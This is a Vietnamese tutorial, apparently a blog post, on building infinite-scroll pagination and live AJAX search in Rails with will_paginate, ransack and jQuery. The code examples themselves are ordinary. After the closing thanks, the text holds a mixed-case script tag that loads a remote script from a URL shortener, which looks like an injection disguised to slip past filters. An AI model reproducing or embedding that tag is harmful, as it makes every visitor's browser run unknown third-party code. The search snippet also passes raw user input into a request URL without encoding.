Ransack với ajax cho tìm kiếm autoload.
Bài đăng này đã không được cập nhật trong 8 năm
Phần mở đầu
Tìm kiếm là một phần không thể thiếu trong mỗi trang web.
Để tạo sự thoải mái nhất cho người dùng, chúng ta nên hiển thị kết qủa tìm kiếm tự động ngay sau khi người dùng nhập bất kỳ 1 từ khóa gì.
Bài viết này sẽ hướng đẫn về cách để tìm kiếm như vậy.
Phần 1: phân trang với gem will_paginate
#gemfile
gem "will_paginate", "3.1.0"
gem "bootstrap-will_paginate", "0.0.10"
#run bundle
sau đó thêm paginate cho controller và view
#app/controllers/users_controller.rb
def index
@users = User.paginate page: params[:page],
per_page: Settings.size_user
end
#app/views/users/index.html.erb
....
<ul class="row users">
<%= render @users %>
</ul>
<div id="infinite-scrolling">
<div class="loading" hidden>
<i class="fa fa-spinner fa-pulse fa-2x fa-fw"></i>
<span class="sr-only"><%= "Loading" %></span>
</div>
<div hidden><%= will_paginate %></div> #ẩn nút paginate đi khi tự động load
</div>
#app/views/users/_user.html.erb
<li>
<%= gravatar_for user, size: Settings.size_gravatar %>
<%= link_to user.name, user %>
</li>
Phần 2: tự động load thêm trang khi scoll xuống cuối trang
add JS bắt sự kiện scroll cuối trang
#app/assets/javascripts/pagination.js
$(document).on('turbolinks:load', function() {
if ($('#infinite-scrolling').size() > 0) {
$(window).on('scroll', function() {
var more_posts_url;
more_posts_url = $('.pagination .next a').attr('href');
if (more_posts_url && $(window).scrollTop() > $(document).height() - $(window).height() - 60) {
$('.loading').show();
$.getScript(more_posts_url);
return;
}
});
}
});
sau đó thêm khai báo file js
#app/assets/javascripts/application.js
//= require pagination.js
application.js sẽ bắt sự kiện khi có scoll và khoảng cách của thanh scroll với đáy trang < 60px. Nhờ đó, nó render ra link trong thanh a.href của pagination tức là users?page=2.
từ đây ta có thể truy vấn dữ liệu page 2 và ghép nó thêm vào cuối trang.
#app/controllers/users_controller.rb
def index
@users = User.paginate page: params[:page],
per_page: Settings.size_user
respond_to do |format|
format.html
format.js
end
end
#app/view/users/index.js.erb
$(".users").append(
"<%= j render @users %>"
);
$(".loading").hide();
<% if @users.next_page %>
$(".pagination").replaceWith("<%= j will_paginate %>");
<% else %>
$(window).off("scroll");
<% end %>
Phần 3: add gem ransack to search and auto load when user type character
#gem
gem "ransack"
#bundle
#app/views/users/index.html.erb
<div class="center row" id="search-form">
<%= text_field_tag :q, nil,
class: "form-control search-form",
placeholder: "Search ..." %>
</div>
<ul class="row users">
<%= render @users %>
</ul>
....
sau khi them text_field nhận từ khóa nhập vào từ người dùng, ta xử lý sự kiện người dùng gõ ký tự bất kỳ.
Và render lai view.
#app/assets/javascripts/user.js
$(document).on("turbolinks:load", function() {
$(".search-form").on("keyup", function() {
$(".users").html("");
$.getScript("/users?q=" + this.value);
});
});
#app/assets/javascripts/application.js
...
//= require user.js
#app/controller/users_controller.rb
@users = User.all.ransack(name_cont: params[:q]).result
.paginate page: params[:page], per_page: Settings.size_user
respond_to do |format|
format.html
format.js
end
Cuối cùng ta cần autoload thêm trang sau khi search
#app/assets/javascripts/user.js
$(document).on("turbolinks:load", function() {
$(".search-form").on("keyup", function() {
$(".users").html("");
if ($("#infinite-scrolling").size() > 0) {
$(window).on("scroll", function() {
var more_posts_url;
more_posts_url = $(".pagination .next a").attr("href");
if (more_posts_url && $(window).scrollTop() > $(document).height() - $(window).height() - 60) {
$(".loading").show();
$.getScript(more_posts_url);
return;
}
});
}
$.getScript("/users?q=" + this.value);
});
});
ình
Cám ơn đã đọc bài viết của mình
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved